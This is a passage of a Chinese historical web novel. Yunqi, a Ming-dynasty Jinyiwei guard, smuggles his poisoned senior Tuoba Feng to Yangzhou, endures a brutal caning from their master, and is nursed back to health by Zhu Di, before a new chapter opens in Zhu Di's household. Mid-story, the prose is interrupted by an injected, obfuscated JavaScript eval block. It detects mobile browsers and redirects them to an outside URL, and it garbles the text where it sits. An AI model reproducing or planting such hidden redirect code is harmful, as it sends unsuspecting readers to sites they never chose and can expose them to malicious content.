拓跋锋懒懒躺在草地上,答道:“绣春刀俱是度身而造,依人膂力,腕力与臂长,指长而定,你须得仔细收着,你的绣春刀便只有这一把,刀在人在,刀断人亡。” 云起将刀柄转过来,对着日光端详,拓跋锋那把刀柄上刻着名字。 拓跋锋一个猛子坐起,道:“拿来。” 云起交了刀,拓跋锋又道:“另外那把也给师哥。” “干嘛。”云起眯起眼,警惕地问道。 拓跋锋笑道:“师哥给你保管,免得掉湖里了。” 云起嘴角微微抽搐,拓拔锋已手臂一长,空手夺到了云起佩刀,继而手指捏着刀刃,翻手,于自己的佩刀刀柄上刻下字来。 “喂喂,你别乱划!”云起忙阻止道。 拓跋锋嘴角带着几分微笑,认真在刀柄的另一面刻了个“云”字。 拓跋锋那字歪七扭八,煞是蹩脚,刻完后吹了吹粉屑,道:“好了,从此把你握在手心里。” 云起哭笑不得,拓拔锋又道:“给你也刻一个。” 云起抓狂道:“这是新刀!还没见过血的,你就在那处胡搞个劳什子……” 拓跋锋起身就跑,云起忙上前一路追,两人绕着玄武湖狂奔,拓跋锋脚长,大步奔跑间竟还断断续续刻着刀柄上的字。 云起好不容易抓住拓跋锋,将他按在草地上,哭丧着脸道:“这么握刀手心会破皮的!” 拓跋锋莞尔道:“还没刻完,少一笔……” 云起歇斯底里道:“锋字还刻歪了!你这白痴!”继而拍了拓跋锋后脑勺一巴掌,夺来佩刀归鞘,起身恨恨走了。 云起忍俊不禁,把刀柄上“锋”的一勾添完,继而与拓跋锋那把互换了刀鞘,匆匆出房。 云起把绣春刀系在拓拔锋腰带上,背起他,耳朵贴着院内高墙辨认了一会声响,离开大院。 “鹤顶红……”拓跋锋有气无力道。 云起低声道:“我给你吃了保命的药,现没事了。” 拓跋锋以鼻梁轻轻摩挲云起的脖颈。 云起道:“我出世那会儿,爹在崆峒山遇上个道长,给了我两件宝物……三件,一枚枯荣造化丸,解百毒,救濒死,还有蝉翼刀,你记得不?上回你还问过我蝉翼是哪来的。” 拓跋锋点了点头。 云起又道:“我姐说,枯荣丸吃下去后,十二个时辰里,五感会逐一丧失,眼瞎,耳聋……是为枯;药效退后,五感再逐一回来,身子会康复,是为荣。一枯一荣间,则易筋洗髓……你待会要是有何不妥,千万别慌张。” 拓拔锋低声道:“现已经看不见了。” 云起点头道:“等着,莫慌。” “钦犯跑了——!”远远有侍卫喊道。 荣庆隔着墙壁斥道:“说什么呢!那是我们锦衣卫正使!什么钦犯!找死了么?!” 皇宫骑卫一向被锦衣卫压得死死的,荣庆一喝,侍卫们便即噤声。 荣庆吩咐道:“分两队,沿着西门搜,不可胡乱动手!” 拓跋锋沙着嗓子道:“在寻我们了?” 云起道:“别说话,荣庆不是我对手……不想与他交手,等他走了……” 云起深一脚,浅一脚拣宫内偏僻之处不住绕,论皇宫地势,无人及得上锦衣卫,而锦衣卫中,又以云起拓拔锋二人为首。 从小在宫里长大,云起与拓跋锋在四处玩耍,对那隐蔽处有何通道,尽数一清二楚,避了巡逻的侍卫,便循西门出了宫。 云起满头是汗,脚步虚浮,吁了口气。 拓跋锋声音迟滞,艰难道:“你本该把我……” 云起停下脚步,倚在墙边歇息,忍不住道:“把你交给皇上?让你,燕王、我们一起死么?你俩胆子大狠了。” 拓跋锋嘲道:“原是顾着自己性命,放心罢,你若把我交出去,皇上定不会……杀你,你与皇孙……” 云起歇了一会,继续踉跄着离开皇宫。 云起边走边道:“老跋,你有胆子谋皇孙的性命,我是无论如何下不去手的。我爹死后追封中山王,大哥早死,徐家随我二哥迁到扬州……” “你怎不封王?”拓跋锋哂道:“朱允炆许了你甚富贵?” “我他妈是庶出!”云起骂道:“你听我说完成不!闭嘴!” 拓跋锋安静了。 云起又道:“我和大姐一个娘,要认真说,该送你去北平,但姐夫既然要杀你灭口,恐怕去不得他那儿,只好去扬州。” 拓跋锋沉默不答。 云起续道:“扬州有我二哥徐增寿,虽和我感情不咋的,但好歹是徐家人,你带着我的绣春刀去,他见了就知道是怎回事,让他收留你。等风头过了,我就去看你。” 拓跋锋依旧沉默。 云起怒道:“哑巴了?” 拓拔锋“啊”“啊”地叫了几声,摇了摇头,云起忽想起一事,道:“现不能说话了?” 拓跋锋点头,云起沿着漆黑小巷走到尽头,道:“到了。” 那处正是舞烟楼后巷,云起轻轻吹了声口哨,楼下豢养的狗齐声吠了起来。 二楼亮了灯,推开门。 春兰穿着小肚兜,斜斜倚在门前,拎着绣花帕子招了招,眼珠转来转去,“哟”了一声,像是想说什么。 云起筋疲力尽地把拓跋锋重重放在床上,倒着不动了。 他望着帐子,喃喃道:“女人,去唤楼下龟公雇条船,天明时分弄妥当。” 春兰蹙着眉,打量二人半晌,而后忽道:“这不是你们锦衣卫里的那个突厥……” 云起深吸了口气,春兰上前来惊道:“哎哟我的娘喂,终于被我见着一次了,这突厥正使……可是我们楼里姑娘天天盼着想着……” 云起咆哮道:“快去——!” 春兰冷不防被吓了一跳,急急忙忙地转身下楼。 街中传来急促的马蹄声响,显是皇宫派出的搜索队已穿过街道,朝城门搜去。 “姑娘们天天盼着想着……”云起漫不经心地躺在拓跋锋身边,拉过他的手臂,枕在颈后:“老跋,你要找媳妇儿容易着呢。” 拓跋锋哑了,无法吭声,闭着眼,手臂搂着云起的肩膀,把他抱在自己胸膛前。 云起心中一荡,摸了摸拓跋锋英俊的侧脸,拓跋锋似是有所感应,转过头,干涸的双唇动了动。 二人正要接吻那时,春兰蹬蹬上楼,怒道:“靴子也不脱就往老娘床上躺了——!” 云起忙起身,将拓跋锋长脚搬出床外半截,道:“待会就得送他走了,先不脱,就这样罢。” 春兰挽了把头发,转身去倒茶,道:“四更时船就到了,要上哪儿去?你俩犯了啥事儿呢?这么丧家犬似的。” 云起接过茶,抱起拓跋锋,喂他喝了几口,春兰“啧啧”数声,拓跋锋就着杯子把冷茶灌下,吁了口气再躺倒。云起方答道:“诛九族的大罪。” 春兰“哦”了一声,仿佛窝藏钦犯的罪名对她来说并不算什么,云起寻了条帕子,将拓跋锋的眼睛蒙住,又在耳畔打了个结,街外传来打更声。 三更。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472491|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春兰吹灭了油灯,三人便这么在黑暗里坐着。 “师哥。”云起在一片寂静中开了口。 拓跋锋握住了云起的手。 春兰起身走到露台旁,一整烟罗裙,盈盈坐下,扯开笼在七弦琴上的丝布,十指抚了上去。 “扬州是个好地方,爹死了以后,四岁那年,我姐送我来京城……” 春兰开口唱道:“伸那伊呀手,摸那咿呀姐……” “……” 云起炸毛道:“谁让你唱十八摸的!” 春兰噤声。 云起自顾自道:“我二哥别的都好,就是花钱特别小气,你也别指望在他手下封官封禄啥的,银子我都拿了……” 春兰又唱道:“一朵牡丹花呀,花开艳扎扎……” 云起忍着一肚子火道:“也不许唱花开富贵!!什么都别唱!闭嘴!” 春兰讪讪闭了嘴。 云起道:“师哥,以后天涯海角的,你就孤零零的一个人了,自己仔细着点儿,别太冲动,容易跟人打架。扬州不是天子脚下,不比锦衣卫的风光……” 春兰嘣嘣嘣地弹了几下,唱道:“枝上柳棉吹又少,天涯何处无芳草……” “……” 云起一腔离别愁绪,俱被这搞怪红阿姑嘣到了九霄云外,欲哭无泪,只得握着拓跋锋的手,不再吭声。 只听春兰清声婉燕,笑语呢喃,娓娓道:“……笑渐不闻声渐悄,多情总被无情恼。” 夏末秋初,皓月当空,清风卷起纱帘,将那下弦月银辉洒了进来。和着春兰幽幽的歌。 “多情总被无情恼……” 拓跋锋的喉中艰难地作了个吞咽的动作,抓着云起的手默默松开,蒙在眼上的丝帕,已是湿了一块。 歌声渐停,远处传来船头梆子三下敲击。 云起知是船已就位,一手抱着拓跋锋令其站好,朝春兰道:“你莫下去了。” 龟奴手执灯笼,将云起引到河畔,时近四更,河面上笼着一层薄雾,远处花舫灯火俱暗,唯几盏黄灯零星亮着,一艘小船静静泊在码头边。 船家睡眼惺忪道:“官爷上哪?” 云起道:“给你二两银子,把这位大爷照顾好了,他现身上带点伤,不能开口,你送他下扬州去。” 船家接了银子,登时精神一振,连声称好。 云起让拓跋锋进了船舱,放下帘子,道:“师哥,我把银钱都拿了出来。这是咱当差这些年里的积攥,你拿着,到扬州去,讨个媳妇儿,安生过日子。” “还有这俩玉佩……上回我在你房里得了,想……逗你玩儿,便藏了起来。”云起倏然眼眶便红了,道:“我以为你……看上哪家姑娘,嗯,心里有点儿不太受用。” 云起把两枚玉佩搭在一个小布袋上,递到拓跋锋手中。 刹那间同门学艺,点滴光阴,那从小到大的欢颜笑语,竹马之情尽数忆起,云起只觉一股难言的悲切充溢心头,眼泪涌了出来。 “师哥,你这就走了……”云起断断续续,哽咽道:“你不会过日子……钱……都给你媳妇,以后让她替你管,我……回去了。” 拓跋锋收起一枚玉佩,缓缓拉过云起的手。 他将那银钱袋与另一枚玉佩放上云起掌心。 拓跋锋捏了捏自己的耳朵,摇了摇头,继而屈起温暖修长的手指,覆着云起的手背,让他握住了掌中之物,而后恋恋不舍地缩回了手。 云起那眼泪源源不绝地滚落下来,急促地喘息,最后大哭数声,上前搂着拓跋锋的脖颈。 云起哭得发抖,把东西塞进拓跋锋怀中,终于咬牙转身,下了船。 船家似是有所感触,唏嘘道:“官爷,您俩不再聚聚?” 云起狠狠抹了把泪,答道:“开船罢,他耳朵聋了,听不见。” 船家长篙于岸边一点,长声道:“开船喽——” 船头荡出无数粼波,蓬船披着清冷月辉离了码头,入了秦淮河,朝东面缓缓行去。 云起目送蓬船离开,手里仍紧紧攥着麒麟玉佩。 远处舞烟楼上,春兰柔媚歌声遥遥传来: “莫把幺弦拨,怨极弦能说;天不老,情难绝,心似双丝网……中有千千结……” 云起满脸是泪地大喊:“师哥——!” 拓跋锋一手扶着蓬船边的小窗,掀开船帘,漫无目的地朝外挥了挥。 11. 弄巧成拙 “找到徐副使了——!” 天明时分,锦衣卫们在御花园的一片假山后,发现了悄然漫出的一大滩血。 云起胸前插着拓跋锋的绣春刀,刀刃微妙地穿过内脏间隙,从背后透出,将他钉在假山上,卡在肋骨中的长刀支撑住了他的体重。 荣庆吸了口气,吼道:“快!传御医!” 云起失血过多,脸色变得苍白,躺在病榻上更发了足足数天烧。 御医会诊后判断出其性命无碍,但血液流失剧烈,又大量消耗一番体力。 朱元璋翻开御医们的诊断书。朱棣笼着袖子,静静站在殿中,不时打量荣庆神情。 朱棣开口道:“儿臣的不是,只想着那突厥狗父母双亡,方将其送进宫中当差,不料这野……此人竟是与北元有勾结,险些害了允炆。” 朱元璋沉思不语,许久后道:“荣庆,你且退出去。” 荣庆走后,朱棣低声道:“父皇,云起与允炆一同长大,若……只怕寒了这一应锦衣卫的心,连带着允炆,还有徐雯。” “雯儿与云起同母,俱是庶出……父皇,今年死的人够多了,给徐家留点香火罢。” 朱元璋放下奏折,点了点头。 正使拓跋锋犯下重罪脱逃,副使徐云起伤重,张勤为国捐躯。 嚣张跋扈的锦衣卫在这一年里,竟是损失了两名成员,恶犬们终于要夹起尾巴做人了,荣庆底气不足,挑不起担,更无云起这般显赫出身。 拓跋锋之罪未定,谁也说不准朱元璋哪天心情不好,便要将这四十八名锦衣卫尽数拖去砍头。锦衣卫的前途,此刻尽数寄托在云起身上。 云起伤未痊愈,只倚在庭廊下的一张竹椅上,昏昏沉沉,晒着太阳。 秋天一到,便要准备过冬了。 “云哥儿。”一名侍卫笑道:“你打不起精神,弟兄们也都病恹恹的,高兴点儿罢。与你回房下棋?” 云起揉了揉太阳穴,道:“下棋伤脑子,我晒会儿太阳便进去。” 午后阳光暖融融地铺在身上,那侍卫又道:“徐家不是有铁券么?你爹是功臣,老跋那事儿应不到咱身上,别胡思乱想了。” 云起笑道:“那玩意儿在我二哥家呢,皇上要真想治我的罪,你还快马加鞭去扬州,讨了免死金牌来用不成?” 那侍卫笑了起来,忽听院外人声道:“孙韬!当朝铁券也敢开玩笑,我不过走了一年,这大院里便无法无天了?!” 孙韬立马大骇,喊道:“蒋师来了!” 蒋瓛卸任年余,再回到锦衣卫住处竟是头一遭,霎时间房门大敞,侍卫们匆匆奔出,挨个立于院中。 云起忙起身道:“师父怎么来了?”说毕瞥向跟在蒋瓛身后那人,竟是朱棣。 蒋瓛一路穿过大院,云起正要把来客让进厅内,蒋瓛却道:“搬两把竹椅来,便在此处坐了。” 说话间便有侍卫去搬椅泡茶,蒋瓛又朝一人吼道:“李渔!何事衣冠不整!你的帽子呢!” 那被点到名之人吓得魂飞魄散,连声告罪,回房寻侍卫冠。 少顷云起领着众侍卫立于院中,庭廊前两把竹椅间摆了个茶几,燕王朱棣先坐了,蒋瓛这才入座,扫了这数十名亲手带出来的徒弟一眼,嘲道: “拓跋锋两面三刀,当面一套,背后一套,当初我是如何交代你们的!” 云起躬身道:“师父教训得是,您卸职一年,众弟兄确实松懈了。” 蒋瓛峻声道:“孙韬出列,我卸任前怎么对拓跋锋,对你们说的?” 孙韬惴惴上前一步,答道:“蒋师吩咐:做人如用兵,须谨记孙子兵法之言:疾如风,徐如林,侵略如火,不动如山,难知如阴,动如雷霆。” 蒋瓛冷笑道:“瞧瞧你们现下的模样,不动如山?谁做到了?!拓跋锋平时怎么约束你们的!” 众锦衣卫齐齐一凛,挺直了背脊。 蒋瓛又嘲道:“成日称兄道弟,嬉皮笑脸,简直就是一群土匪!贼寇!乌合之众!拿着尚方宝剑当棉拍,这就是锦衣卫的模样?!” “二十四卫!锦衣为首!现瞧瞧你们自己,瞧瞧……”蒋瓛把茶盏重重一放,欺近前来,揪着一人衣领,将他拖出列,怒道:“除了当个衣裳架子,小白脸,操廷杖打那手无缚鸡之力书生,还有半分男人的模样么?!娘——们!” 说毕竟是气极,一脚将那倒霉鬼踹倒在地。 蒋瓛辈分极高,发起火来,院内噤若寒蝉,唯一敢插嘴的,便只有座上王爷。 朱棣见老头子满脸通红,只恐怕其训徒弟训到一半要脑溢血倒地,闹大了麻烦,忙劝道:“蒋老莫动怒,如今不比……从前了,伤了身子不好,不好。” 朱棣一面嘿嘿笑,将蒋瓛请回座上,蒋瓛瓮声道:“今日来本不是为了训你们,实是心中有气,不吐不快,现说正事,徐云起,出列。” 云起上前一步,凛然道:“徒儿在。” 蒋瓛捋须打量云起片刻,而后道:“你与拓跋锋同门多少年了。” 云起暗自心惊,答道:“四岁入宫,到如今是十三年了。” 蒋瓛道:“十三年,你如何对待师兄?!” 云起颤声道:“那夜师兄下毒……暗害皇孙……” 蒋瓛怒道:“你与他生死相博,拔刀相向,是还不是!” 云起道:“是!但当时情形,师兄犯了大罪,若放他走,云起便是不忠……” 蒋瓛道:“然而抽出腰间绣春刀,对自己的师兄下手,便是不义!” 云起吸了口气,答道:“师父,忠义不能两全。” 蒋瓛道:“很好,今日打你,便是为了这忠义不能两全!取铁杖来!” 众侍卫骇得手脚冰冷,蒋瓛威势极盛,又道:“都不听了?可是要我去取?!” 数名侍卫忙转身入厅,取来两根粗若儿臂的铁棍,蒋瓛素来管教手下极严,锦衣卫少年入宫受训时,无一不挨过这铁棍痛打,每次俱是皮开肉绽。 然而云起自小到大,却是头一次尝到这铁杖的滋味。 “从前都是拓跋锋替你挨杖,如今,也轮到徐副使你亲自生受一回了。”蒋瓛冷冷道:“架住,八十杖,打!” 众侍卫犹如遭了晴天霹雳,云起却是自觉伏下,把眼睛一闭,道:“打罢。别来虚的。” 那持棍的两名侍卫无计,只得咬牙抡起铁杖,打了下去。 云起痛哼一声,杖落发出闷响,蒋瓛又道:“你们平素在朝廷上玩的猫腻,别以为我不知道,且轻着点打,打完再来八十杖。” 那掌杖锦衣卫心中打了个突,不敢再放水,只得使劲真打,唯恐蒋瓛不满意。 杖劲一重,云起登时痛喊。 蒋瓛在那杖声中悠然道:“忠义不能两全,保住了拓跋锋,你就是杀头诛九族的大罪!” 云起咬牙苦忍,断断续续道:“师父……教训得是。” 蒋瓛道:“拓跋锋捅你一刀,成全你忠名;现打你便是让你谨记,当初拓跋锋替你挨了无数棍,如今让你一并还了!” 朱棣看在眼中,嘴角微微抽搐,显是头一次看到此惨无人道的刑罚。 大凡治军法,顶多是二十杖,四十杖那般打,且又是木棍。 廷杖乃是铜铸,也不过四十杖,再打下去,只怕便要当廷把人活生生打死,何曾听说过要挨足八十杖的规矩?! 朱棣咳了一声,忍不住道:“那个,蒋老。云起他……是不是有点……” 云起已被打得昏了过去。 蒋瓛冷冷道:“求一句情,再加十杖。” 朱棣闭嘴了。 待得尽数打完,云起腿上到处是血,再找不到一处完好的肉,就连飞鱼服也被打得破破烂烂。 蒋瓛又道:“两人扯手,两人扯腿,摔!” 朱棣霎时魂儿被吓飞了七成,发着抖道:“不能摔!蒋老!再摔就死了!” 蒋瓛捋须道:“燕王要求情?摔两下。” “……” 四名锦衣卫抬着云起,将其举起,又重重摔在血泊中。 云起已无意识,肺部被激,哇地吐出大口鲜血,和着一枚染了血,洁白的臼齿,竟是在苦忍时把牙给咬碎。 朱棣惊悸地看着云起,不住喘息。 蒋瓛终于达到了目的,缓缓道:“来四个人,将他身上血抹了,取担架来!抬着到太和殿去,老夫要面、圣。” 朱棣吁出一口气,难以置信地摇了摇头。 太和殿外。 朱棣守在殿前,侧耳听着殿中对答。 朱元璋对蒋瓛仍是极其器重,二人谈了许久,又听蒋瓛低声道出“北元”“突厥”“探子”等字眼,朱棣心头方放下一块大石。 少顷后,只听朱元璋道:“朕知道了。” 蒋瓛方退了出来,锦衣卫入内,抬了担架上的云起,回到大院中。 朱棣伸手去探云起鼻息,呼吸微弱。 蒋瓛缓缓道:“不妨,性命无碍,取他颈下那布包来。” 朱棣解了云起贴身布包,蒋瓛又道:“内有一枚枯荣造化丸,喂他服下,一日便好。” 朱棣打开那布包,蹙眉道:“蒋老,你方才说……什么丸?” 蒋瓛愣住了,朱棣托着那布包让看,内里只有一张泛黄的符纸,与一枚碧绿色的麒麟型玉佩。 “……” 这下轮到蒋瓛遭了晴天霹雳。 只听蒋瓛颤声道:“张……道长赐的那枚……灵丹。怎没有?云儿给谁吃了?” 朱棣五雷轰顶,与蒋瓛相视良久,道:“你……蒋老,这玩笑开不得,他可是我小舅子!要有个三长两短,贱内会……” 蒋瓛张着嘴,想起朱棣家“贱内”的厉害,霎时定了三秒,而后吼道:“太医!传太医!不好了——!” 屋漏偏逢连夜雨,云起小身板儿刚躲过飓风又遭了冰雹,失血过多,挨铁杖猛打,导致椎间盘脱出,外加精神饱受命运的来回蹂躏——居然没死,也真是个奇迹。 朱棣顾不得求神拜佛,先熬了一大碗浓浓的千年老参汤,扳着云起的牙关灌下。 继而联合六名御医会诊,同时派出亲卫快马加鞭,连夜出京,前往北平。 亲卫跑死了三匹马,带回来一个锦盒,盒中装了一只朱眼冰蟾,以及“贱内”的一封信: 我的心肝! 你上辈子究竟是造了什么孽! 朱棣!!!!!! 云儿若是有个好歹! 我徐家全家纵是做鬼也不会放过你! 朱棣背脊发麻,朝那亲兵道:“夫人……目前情绪还稳定吗?” 亲兵答道:“夫人请来全北平的道士和尚,一半念经,一半开坛做法。点了满府长明灯,命全城百姓斋戒……说若是得不到小舅爷平安的消息……就……就……” 朱棣道:“知道了。” 那亲兵与朱棣脑门上俱是三条黑线。朱棣眼珠子转了转,仍忍不住道:“就如何?” 亲兵压低了声音,道:“就砍死……那个……弑君。” 朱棣点了点头,知道徐雯说的定是“砍死你全家”,这全家自然也包括朱元璋。 房内传来荣庆之声:“王爷,该换药了。” 朱棣取来冰蟾,以烧酒调了,灌入云起嘴内。烧酒极烈,一入喉云起便猛咳起来,朱棣忙端碗接了,喝进嘴里,继而抱着云起,缓缓喂了过去。 云起喝下灵药,低吟了一声,倚在朱棣怀中,沉沉入睡。 朱棣望着那跳跃不定的油灯火苗出神,不知在想何事,末了又看了看云起。 朱棣漫不经心道:“你与清儿……都是徐将军的眉毛,温月华的眼……你们的娘该得有多美?竟是生得出这水灵造化的姐弟来。” 云起微微挣扎,朱棣放开了他,让他平躺,拉过被子仔细盖好,端详云起片刻,而后痞笑着点了点头。 数日后,在朱棣黄金猛砸下,云起的伤势终于开始逐渐好转。 朱棣从年轻起便随军生活,习惯了亲力亲为,一介王爷,照顾起病人倒也不嫌苦累,每天为云起换药,缠绷带,喂药,俱是得心应手。 如此困了便伏在云起榻旁歇息片刻,饿了与锦衣卫们同吃同住,打成一片,不知不觉已过了近半月。 云起睁开了眼。 那时朱棣正与几名锦衣卫在院内踢毽子,一听云起醒转,赶紧连滚带爬地冲进房内。 “内弟,你好了不曾?”朱棣紧张地看着云起涣散双眼,又伸出五指,试探地在他面前挥了挥。 朱棣比了个拳头,道:“这是几?” 云起道:“都给我出去。” 房中站满侍卫,忙一窝蜂地散了。 朱棣作了个投降的手势,悻悻转身出门。 云起虚弱的声音中带着难以掩饰的怒火,冷冷道:“王爷,你好大的胆子” 朱棣唏嘘道:“还好你咬碎那枚不是门牙,否则说话漏风……” “纸钱是你交给他的?” 朱棣收起玩笑的表情,云起缓缓转过头,与其对视。 朱棣目中杀机一闪即逝,云起道:“墙边有刀,杀了我就是。” 朱棣一笑置之,答道:“莫开玩笑 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“狼部本不是姐夫杀的,元人逃窜那时自己下的狠手,姐夫救了他性命,又将他送进宫来,每年给他族人送牛送羊,府上凡是有姓拓跋的突厥人来托庇……” 云起嘲道:“若是你有朝一日当了皇帝,就送他回克鲁伦河去?许给他多少封地,多少兵,多少女人?多少牛羊多少财物?” 云起说到激动时又不住急促喘息,朱棣忙上前抱他坐起,却被云起咳嗽着推开。 朱棣倒也不恼,笑道:“没有许他,倒也终究是他该得的,我厚葬了他部落中人,又救了他全族性命,把他养到五岁,将其身份坦言告知。” “没有丝毫隐瞒。又教他突厥语,让他牢记自己是何人。换了是你……你会为我卖命不?” 朱棣微笑道:“小舅子,拓跋锋那性子你不懂?突厥人脑子倔得很,你对他好,他便死心塌地报答你,记了仇,亦会一心一意来报仇……狼崽子不就是这脾气?” 云起反讥道:“死心塌地报你收养之恩,最后等到了一杯毒酒。” 朱棣色变道:“什么毒酒?” 云起蹙眉与朱棣对视。 朱棣表情如坠万丈深渊:“他喝了毒酒?!” 云起疑道:“那鹤顶红不是你送的?” 朱棣半晌说不出话来,而后方道:“死了?!” 云起茫然无比,脑中混乱一片,朱棣猛然抓着云起的手说:“你……小舅子,你不是已经放走了他?!那夜事发,二更时我派人去牢中救他,回报狱卒死了,这案才发,你……” 云起挣道:“没死!” 云起看了朱棣一会,缓缓道:“那夜有人送了毒酒,要杀他灭口,这可奇怪了,会是谁?难道是皇上……?” 朱棣道:“中的何毒?你将他送去何处?” 云起摇了摇头,道:“我给他吃了枯荣造化丸,那药能解百毒……接着送他上船,到扬州去了。” 朱棣如释重负道:“回头我让他给你写封信,你便知端倪。” 云起抿唇想了片刻,头又开始疼了起来。 朱棣转身去取笔墨,一面絮絮道:“你养伤罢,既是好了,写个条子给你姐,否则这辈子,我就别想进家门了。” 云起一肚子气消了七成,劈手接过笔,随手写了句“朱棣王八蛋”,接着拍了回去。 王八蛋诚恳道:“内弟,这话等于骂当朝皇上是王八……” 云起怒了,把“蛋”字涂掉,王八方笑嘻嘻把那纸条折好塞进怀中,道:“这就走了,勿念。” 朱棣转身那瞬间,云起冷冷道:“我娘是舞烟楼红牌,皇上取应天府时,兵荒马乱,认识了我爹。” 朱棣听到这句,忍不住转身,云起又道:“我姐弟俩是庶出,娘的出身又不好,我就是个当一辈子狗的命,跟皇孙再铁,也是白搭。” “朝中言官不会让我封官荫子的,你省点儿罢,有这心思不如去讨好六部的人。” 朱棣挠了挠头道:“姐夫连自个娘叫啥还不知道,当年老头子与陈友谅顾着打到西,又打到东……连我娘都给弄丢了。现认了马皇后当娘,仔细说起来……” 朱棣恢复了那兵痞子的一贯笑容,得意洋洋道:“这就叫不是一家人,不进一家门。” 说毕又挖苦道:“内弟,你早在第一次喂药时就醒了,装昏装了十余天,敢情懒得动,等王爷伺候呢。” 朱棣转身离去,当天下午便率领亲卫离开了南京。 云起躺在床上,闭着眼,轻声道:“没什么好难过的……师兄,保重。” “哭啥,都几岁了,大男人哭哭啼啼……” 小拓跋锋蹲在床边,打量小云起,蹙眉不悦道:“别哭了。” 小云起抽泣道:“我家里死了人……”继而一吸溜鼻涕。 小拓跋锋答道:“哦。” 两人定定互相凝视片刻,小拓跋锋又道:“我家里人也死光了。” 小云起又哇哇大哭起来,道:“死的是我爹!我每个月的两钱银子没了!” 小拓跋锋又道:“哦,没了。” “脑袋怎么破皮,过来,师哥给你揉揉。” 小云起一把鼻涕一把泪道:“磕头磕的……” 小拓跋锋同情地摸了摸小云起的头。 “叫爹。” “……” 小云起斜眼去乜小拓跋锋,那眼神,像只不太信任人的脏兮兮的小猫。 小拓跋锋漠然道:“叫声爹,以后师哥当了锦衣卫,俸钱都给你,一个月二两银子呢。” 小云起一声“爹”到了嘴边,终究叫不出口,恹恹道:“还是不要了,爹不能乱叫。” 小拓跋锋看他那架势,像在酝酿情绪,只怕不多时又要开哭,忙让步道:“不叫也给你好了。别哭。” “不……我要哭。” “不要也得要。” “给你两钱银子,让我哭一会……” “不许哭。” “哇啊——!师哥,我爹死了……我爹死了!!” 自那天起,小拓跋锋每个月便能拿出两钱银子给小云起。 天知道十二岁小孩哪来的钱…… 然而那不重要,十岁至十五岁,每月两钱银子,共十二两;十五岁至十九岁,每月二两银子——普通锦衣卫俸禄,共九十六两。 十九岁至二十岁,每月三两银子——锦衣正使官俸,共三十六两。 拓跋锋当差这许多年的所得,尽数给了自己,一分钱也没乱花,果然说到做到。 云起把账本烧了,银钱数默默记在心里。 ——卷一·麟之为灵·终—— 12. 王府之宴 光阴稍纵即逝,数年后,又是月圆时节。 “王爷呢?家宴都快开席了,怎还不见人?” “花园里……” 徐雯怒道:“又掏蛐蛐呢?!” 徐雯正想提了裙出去骂一顿,奈何化妆化到一半,满头花簪,对着镜子瞥了一眼,略有不耐道:“都把簪儿拔了罢,不想插了。” 婢女怯怯应了声“是”,便伸手取花簪,徐雯又道:“中秋的礼都送去了么?回条呢?” 身旁管家道:“回条今儿才到的家,二舅爷写的信,又封了些扬州土产……”那管事说着转身,一婢女托着木盘上前。 管家取了木盘上的信,恭敬呈予徐雯,又道:“海味馅儿月饼一车,桂花糕五盒,竹叶青十坛,活鱼……” “行了。”徐雯把信扔回木盘上,不耐道:“年年都是这些。”继而拿眼打量站在管事身后一人。 那男人身材颀长,戴着一顶斗笠,拢袖立于一旁,衣服似乎不太合身,露出干净的古铜色脖颈肌肤。 男人低下头,将双眼藏在斗笠下,只露出瘦削的侧脸。 徐雯道:“你又是谁?” 管事忙侧过身,让静静立于其后的那人上前。管事道:“这位是二舅爷派的……” 徐雯打断道:“取个红封儿给他,过节招呼他跟你们一处吃。” 那管事表情霎是尴尬,半晌后方大着胆子道:“二舅爷……令他到夫人这来谋个差事。” 徐雯嘲道:“没脸没皮的增寿,连自个府里人也养不起了么?” 那男人安静不答,徐雯随手打发道:“门房里坐着罢,过几天看王爷意思,给你派点事儿做。” 徐雯想了想,又道:“云起回信了么?” 管家恭敬答道:“小舅爷无信,只托来一匣子。” 徐雯微有不快,道:“拿来我看看。” 管家捧了木盘上那盒子,撕去封条亲手打开,徐雯见到盒中那物,嘴角便略翘了起来。 盒内躺着一根白玉簪,乃是匠人所刻,簪头刻得有如木枝,竟是看得清树纹,细节活灵活现,纵是树皮剥落,龟裂之处亦栩栩如生。 树枝上更点缀着数朵桂花,花瓣晶莹剔透,花蕊屈抱细如发丝,却一清二楚。 徐雯赞叹道:“得花多少银子,这大手大脚的小混蛋。” 徐雯拈了簪子,对着灯光一照,见簪尾刻着米粒般大小的四个字: 那沉默男子忽地插嘴道:“‘蟾宫折桂’,四胡同蒋府,苏婉容的字。” 徐雯意外道:“你还知道苏婉容?” 男人声中隐约带着一分笑意,答道:“巧夺天工,全南京仅她一人,嫁给蒋师……蒋瓛后便封刀不刻。这簪子起码价值一千两黄金,并且有钱也买不到。” 男人又补了一句:“当年据说连太子想雕个玉佩送人,蒋夫人也不刻。” 徐雯笑道:“明白了,该是小混蛋央着他师娘,亲手刻的簪儿。” 那管家附和道:“小舅爷素来有心。” 徐雯啐道:“没本生意,左右逢源。” 虽如此说,面上依旧带着淡淡欣喜,吩咐道:“今儿不穿锦了,去把箱底的黑袍捧了来。” 那婢女应声转身去了,徐雯扯了花簪扔在盘中,一头乌黑长发瀑布般流泻,继而披上黑绣服,白玉般的肌肤在黑袍衬托下,更显美艳不可方物。 徐雯挽了头发,只插上云起送的白玉簪,打量那高大男子一眼,道:“斗笠摘了。” 那男人取下斗笠,与徐雯对视,不自然地避开了徐雯的目光。 男人鼻梁高挺,略现鹰钩之型,双瞳如玳瑁般棕深。 徐雯道:“突厥人?你与时常来府里的狼部……” 男人干脆利落地答道:“没有关系。” “唤何名?” “朱锋。” 徐雯“扑哧”一声笑了起来,道:“什么不好叫,叫猪疯。”也不问此人来历,道:“先去吃顿饭,看你那模样就知道会武,明日起,跟着王爷跑腿。” 朱锋点了点头,答道:“谢夫人。” 朱棣趴在草地上,嘴里衔着根草,秋季满庭的桂花香,惬意地眯起一只眼,吹着口哨,一手伸进假山里。 徐雯带着管事婢女走出院来,朝着花园中一声河东狮吼:“王爷!开饭了!价成日掏狗洞,掏得出个荣华富贵来!” 